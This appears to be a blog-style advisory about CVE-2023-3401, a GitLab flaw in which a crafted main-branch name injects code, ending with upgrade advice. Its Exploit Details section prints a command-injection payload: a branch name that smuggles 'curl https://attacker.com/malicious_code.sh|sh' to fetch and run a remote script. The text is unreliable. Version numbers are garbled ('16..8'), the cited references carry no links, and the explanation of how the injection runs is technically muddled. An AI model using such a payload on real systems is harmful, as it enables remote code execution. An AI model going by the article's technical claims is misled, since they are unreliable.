CVE-2023-3401: Unauthorized Repository Creation and Malicious Code Injection in GitLab

CVE-2023-3401 refers to an exploitable vulnerability discovered in GitLab, specifically affecting all versions before 16..8, all versions starting from 16.1 before 16.1.3, and all versions starting from 16.2 before 16.2.2. The vulnerability potentially allows attackers to create repositories containing malicious code, resulting from an improperly sanitized main repository branch.

This article aims to provide an in-depth analysis of the vulnerability, code snippets demonstrating the issue, and links to original references and exploit details.

Exploit Details

In affected GitLab versions, if the name of the main repository branch has been explicitly designed by an attacker, it is possible to bypass the security checks that GitLab typically enforces. As a result, the attacker can create repositories containing arbitrary and potentially harmful code. This exploit works by leveraging the lack of proper sanitization while handling user input in the main branch.

A sample malicious user input for the main branch of a repo might look like this

git checkout -b "refs/heads/malicious';curl https://attacker.com/malicious_code.sh|sh #"

This specially crafted input, when executed, would establish a new branch named "malicious" and subsequently run the included shell command. The shell command downloads an external malicious script hosted on the attacker's website and executes it.

For comprehensive technical details of CVE-2023-3401, consult the following original sources

1. CVE Details: CVE-2023-3401
2. NVD - National Vulnerability Database - CVE-2023-3401

Recommendations

As a GitLab user, it is crucial to update your GitLab instance to the latest version or at least upgrade to one of the more secure versions (16..8, 16.1.3, or 16.2.2 and newer). GitLab administrators should promptly apply security updates as they become available.

Additionally, it is essential to follow best practices for GitLab security, such as setting up strong access controls, limiting the use of untrusted code, and continuously monitoring for suspicious activities.

Conclusion

CVE-2023-3401 poses a significant risk to GitLab users whose instances are not updated to the latest or secure versions. Attackers who exploit this vulnerability could potentially compromise the integrity and security of repositories and systems. It is crucial to implement proper security measures, update to a secure GitLab version, and be vigilant when working with repositories.

Stay informed about the latest security updates by monitoring official channels such as the GitLab blog, the GitLab Security Dashboard, and the CVE database.

Timeline

Published on: 08/02/2023 09:15:00 UTC
Last modified on: 08/04/2023 20:03:00 UTC